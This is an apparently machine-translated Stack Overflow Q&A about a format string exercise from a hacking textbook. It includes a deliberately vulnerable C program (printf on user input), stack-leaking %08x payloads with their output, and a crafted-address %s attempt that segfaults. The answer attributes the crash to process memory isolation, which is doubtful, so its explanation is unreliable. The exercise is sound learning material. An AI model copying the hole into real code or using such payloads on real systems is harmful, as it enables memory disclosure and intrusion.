mik*_*mik 5 c formatting exploit path environment-variables
我正在阅读"黑客 - 剥削艺术"一书.
这是我用于利用格式字符串的代码的简化版本.
/* fmt_vuln.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char *argv[]){
char text [1024];
if (argc < 2){
printf ("Usage: %s <text to print>\n", argv[0]);
exit (0);
}
strcpy (text, argv[1]);
printf ("The wrong way to print user-controlled input:\n");
printf (text);
printf ("\n");
return 0;
}
Run Code Online (Sandbox Code Playgroud)
我运行这个命令:
./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
Run Code Online (Sandbox Code Playgroud)
我有:
The wrong way to print user-controlled input:
AAAA59055000.58e347a0.58b68620.ffffffff.00000000.fba56ac8.58a9fc58.41414141
Run Code Online (Sandbox Code Playgroud)
所以,我看到第8个格式参数是从格式字符串的开头读取的.
然后,当我运行命令时:
./getenv PATH ./fmt_vuln
Run Code Online (Sandbox Code Playgroud)
我得到了地址:
0x7ffe2a673d84
Run Code Online (Sandbox Code Playgroud)
所以我试着运行:(为了打印PATH变量)
./fmt_vuln $(printf "\x84\x3d\x67\x2a\xfe\x7f")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%s
Run Code Online (Sandbox Code Playgroud)
我有:
The wrong way to print user-controlled input:
Segmentation fault
Run Code Online (Sandbox Code Playgroud)
为什么我得到了段错?从getenv程序我得到PATH的地址,但该程序仍然崩溃...
感谢帮助.
出于安全原因,并非计算机中的所有进程共享相同的内存空间.当我谈论不同的记忆空间时,我的意思是什么?考虑以下2个程序:
//program 1
int main(int argc, char** argv){
printf("%02x", *((uint8_t*)0xf00fba11));
return 0;
}
//program 2
int main(int argc, char** argv){
printf("%02x", *((uint8_t*)0xf00fba11));
return 0;
}
Run Code Online (Sandbox Code Playgroud)
如果要同时运行这些程序(假设它们不是段错误(它们几乎肯定会),那么它们将打印出不同的值.怎么会这样??他们都访问内存位置0xf00fba11!...还是他们?
为了理解这里发生的事情,我们首先需要了解当cpu从内存加载一个值时发生了什么.要从内存加载值,cpu会向RAM发送请求,如下所示:
cpu
|-------------| |---------|
| read |-------address out to RAM (0xf00fba11)---->| RAM |
| | | |
| *0xf00fba11 |<---------data coming back to CPU----------| |
|-------------| |---------|
Run Code Online (Sandbox Code Playgroud)
在cpu和ram之间有一个特殊的硬件,它将地址从"虚拟地址"转换为"物理地址",它被称为内存管理单元(简称MMU).如果程序要求地址0x1000处的值,MMU可能会"重新映射"0x1000到0x8000.如果地址0x1000在到达RAM进行所有读写操作之前总是被0x8000替换,那么这似乎是一个毫无意义的操作.该程序仍以完全相同的方式运行......那么最重要的是什么?
最重要的是,现在程序1和2无法访问彼此的数据.可以配置MMU,使得不存在程序1可以从中读取的地址,该地址包含程序2的变量之一.这种"映射"对于每个进程(大多数)是唯一的,并且由操作系统配置.
以下是MMU如何影响我们的玩具"f00fba11"示例的示例.
Process 1
cpu
|-------------| |---------|
| read |---0xf00fba11---| MMU |--0x1000ba11------->| RAM |
| | | |
| *0xf00fba11 |<---------data coming back to CPU----------| |
|-------------| |---------|
Process 2
cpu
|-------------| |---------|
| read |---0xf00fba11---| MMU |--0x7000ba11------->| RAM |
| | | |
| *0xf00fba11 |<---------data coming back to CPU----------| |
|-------------| |---------|
Run Code Online (Sandbox Code Playgroud)
进程1和进程2都要求存储在存储器地址0xf00fba11中的数据,但它们被赋予了2个完全不同的RAM单元!这个明智的发明被称为"虚拟记忆".如果MMU以不同的方式映射他们的记忆,我们说2个进程有不同的"地址空间".操作系统决定这些映射并配置MMU以遵守它们,从而使进程彼此"隔离".考虑2个进程和他们可能想要访问的内存地址.
Process 1
asks for | gets physical address
------------------------------------
0x0000 - 0x0fff | ERROR SEGFAULT
0x1000 - 0x1fff | 0x70000 - 0x70fff
0x2000 - 0x2fff | 0x30000 - 0x30fff
0x3000 - 0x3fff | 0xa7000 - 0xa7fff
etc.... | etc.....
Process 2
asks for | gets physical address
------------------------------------
0x0000 - 0x0fff | ERROR SEGFAULT
0x1000 - 0x1fff | 0xb1000 - 0xb1fff
0x2000 - 0x2fff | 0x40000 - 0x40fff
0x3000 - 0x3fff | 0x1c000 - 0x1cfff
etc.... | etc.....
Run Code Online (Sandbox Code Playgroud)
因此,如果在进程1中的内存地址0x7ffe2a673d84处加载了一个envrionment变量,它可能会转换为物理地址0x63002a673d84.此外,当进程2尝试访问*0x7ff32a673d84时,它将被映射到完全不同的地址,或者,在您的情况下,它可能是进程2的UNMAPPED,导致SEGFAULT.
所以坏消息是,我认为你的代码无法解决这个问题.做你想做的事情会给你一个段错误或随机,无用的数据.要获取您感兴趣的数据,您需要查看MMU配置设置并更改它们,除非您在提升的权限级别运行,否则不允许这样做.
在我们分手之前,值得注意的是,在两个进程之间可能存在一些共享地址,以便在两个进程之间来回传递数据或访问共享软件库.也就是说,对于几个不同的进程,0x1000将转换为0x5000.
或者也许我不知道你在谈论什么.我没有真正遵循这条路线./getenv PATH ./fmt_vuln
| 归档时间: |
|
| 查看次数: |
982 次 |
| 最近记录: |